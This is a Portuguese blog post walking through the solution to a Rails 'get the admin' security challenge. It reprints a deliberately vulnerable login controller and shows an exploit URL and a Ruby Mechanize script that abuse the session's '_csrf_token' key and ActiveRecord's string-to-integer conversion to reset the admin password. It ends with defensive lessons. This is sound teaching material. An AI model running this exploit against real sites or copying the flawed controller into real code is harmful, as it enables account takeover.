[Small Bite] Session Injection Challenge

2014 August 28, 12:00 h - tags: metasploit security

Eu expliquei rapidamente sobre Metasploit no artigo anterior, e sobre o desafio do @joernchen. Se você ainda não resolveu o desafio, talvez queira deixar pra ler este artigo depois!

SPOILER ALERT

Mas se abriu até aqui no artigo é porque quer saber o que é o problema. O @joernchen publicou exatamente o seguinte código:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Try to become "admin" on http://gettheadmin.herokuapp.com/ 
# Vector borrowed from real-world code ;)
 
 
# config/routes.rb:
 
  root 'login#login'
  post 'login' => 'login#login'
  get 'reset/:token' => 'login#password_reset'
 
# app/controllers/login_controller.rb
 
class LoginController < ApplicationController
  def login
    if request.post?
      user = User.where(login: params[:login]).first
      if !user.nil?
        if params[:password] == user.password
           render :text => "censored"
        end
        render :text => "Wrong Password"
        return
      end
    else
      render :template => "login/form"
    end
  end
  def password_reset
    @user = User.where(token: params[:token]).first
    if @user
      session[params[:token]] = @user.id
    else
      user_id = session[params[:token]]
      @user = User.find(user_id) if user_id
    end
    if !@user
      render :text => "no way!"
      return
    elsif params[:password] && @user && params[:password].length > 6
      @user.password = params[:password]
        if @user.save
          render :text => "password changed ;)"
          return
        end
    end
    render :text => "error saving password!"
  end
 
end

Basicamente um trecho do arquivo de routes.rb e o login_controller.rb. Assuma que também tem um form que poderia ser algo assim:

1
2
3
4
5
<%= form_tag '/login', method: :post do %>
  <%= text_field_tag 'login' %>
  <%= password_field_tag 'password' %>
  <%= submit_tag 'login' %>
<% end %>

E um model chamado User que poderia ter a seguinte migration:

1
2
3
4
5
6
7
8
9
10
11
class CreateUsers < ActiveRecord::Migration
  def change
    create_table :users do |t|
      t.string :token
      t.string :login
      t.string :password

      t.timestamps
    end
  end
end

E, finalmente, um seed que poderia ter o seguinte:

1
User.create token: 'qualquercoisa', login: 'admin', password: 'qualquercoisa'

Primeiro entenda o que o controller faz:

  • tem uma action simples de login que valida o POST de usuário e senha e renderiza o form de login.
  • tem uma action de reset_password que atende a rota reset/:token.

Quando o form é renderizado, ele gera um HTML assim:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
  <title>Gettheadmin</title>
  <link data-turbolinks-track="true" href="/assets/application-9cc0575249625b8d8648563841072913.css" media="all" rel="stylesheet" />
  <script data-turbolinks-track="true" src="/assets/application-baf6c4c3436bbd5accc1b87ff9b9eabe.js"></script>
  <meta content="authenticity_token" name="csrf-param" />
<meta content="857GlwfWLYjv66EGyXa4d7PNUkPZleMgWcL+biMpDzE=" name="csrf-token" />
</head>
<body>

<form accept-charset="UTF-8" action="/login" method="post"><div style="display:none"><input name="utf8" type="hidden" value="&#x2713;" /><input name="authenticity_token" type="hidden" value="857GlwfWLYjv66EGyXa4d7PNUkPZleMgWcL+biMpDzE=" /></div>
  <input id="login" name="login" type="text" />
  <input id="password" name="password" type="password" />
  <input name="commit" type="submit" value="login" />
</form>

</body>
</html>

O importante: o token CSRF na tag de meta. Ele é diferente toda vez que você puxa o formulário e serve para evitar Cross Site Request Forgery. Mas tem um detalhe importante: quando a session é inicializada ele sempre vai ter pelo menos duas chave-valor: uma que é a "session_id" e outra com a chave "_csrf_token" com o valor que aparece no HTML justamente para fazer a checagem.

E a parte que é o buraco no controller é este:

1
2
user_id = session[params[:token]]
@user = User.find(user_id) if user_id

Se o params[:token] for "_csrf_token", o equivalente ficaria assim:

1
@user = User.find(session['_csrf_token'])

Agora, sabemos que o User.create inicial vai criar um admin com o ID que será o inteiro "1". O método #find aceita não só números como strings (para o caso, por exemplo, onde você cria uma renderização alternativa de ID para fazer URLs bonitas como no Wordpress onde ficaria "/1-admin" em vez de "/1").

Quando você faz:

1
"1abcd".to_i # => 1

Note que ele ignora o que não é string e devolve o inteiro 1.

Portanto, basta dar reload no site até o "_csrf_token" começar com "1" seguindo de letras. Aí ele vai fazer User.find("1abcd") que é o mesmo que User.find(1) e pronto! Conseguimos o usuário. E para piorar, o código do controller ainda faz isso em seguinte:

1
2
3
4
5
6
7
if params[:password] && @user && params[:password].length > 6
  @user.password = params[:password]
    if @user.save
      render :text => "password changed ;)"
      return
    end
end

Ou seja, ele grava a nova senha que você passar como parâmetro. Portanto a URL para exploit é:

1
http://gettheadmin.herokuapp.com/reset/_csrf_token?password=1234567

E para automatizar o exploit, fiz este pequeno script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
require 'rubygems'
require 'mechanize'

100.times do
  agent = Mechanize.new { |agent|
    agent.user_agent_alias = 'Mac Safari'
  }
  page = agent.get("http://gettheadmin.herokuapp.com/")
  token = page.at('meta[@name="csrf-token"]')[:content]
  puts token
  if token =~ /^1\w+/
    puts "TRYING EXPLOIT!!"
    doc = agent.get('http://gettheadmin.herokuapp.com/reset/_csrf_token?password=1234567')
    break if doc.content =~ /password changed/
  end
end

Quando o script parar, a senha mudou pra "1234567", agora basta fazer login com o usuário "admin" e senha "1234567" e pronto, você está dentro!

E eu coloquei 100 vezes, mas muito antes disso já vai parar porque não demora muito pra um "_csrf_token" que começa com "1".

Exploit funciona

Lições aprendidas:

  • A session tem valores por padrão! Nunca busque chaves na session baseado diretamente num parâmetro de URL. Aliás, nunca confie em parâmetros de URL

  • Cuidado com o método #find do ActiveRecord por causa da conversão implícita de string para integer.

  • Use uma biblioteca que já cuida desses detalhes como o Devise

Assista aos screencasts do RubyTapas que falam justamente sobre conversões de strings:

Alguém conseguiu explorar e mudar a senha de admin de outra forma diferente desta? Não deixe de comentar abaixo.

Comments

comentários deste blog disponibilizados por Disqus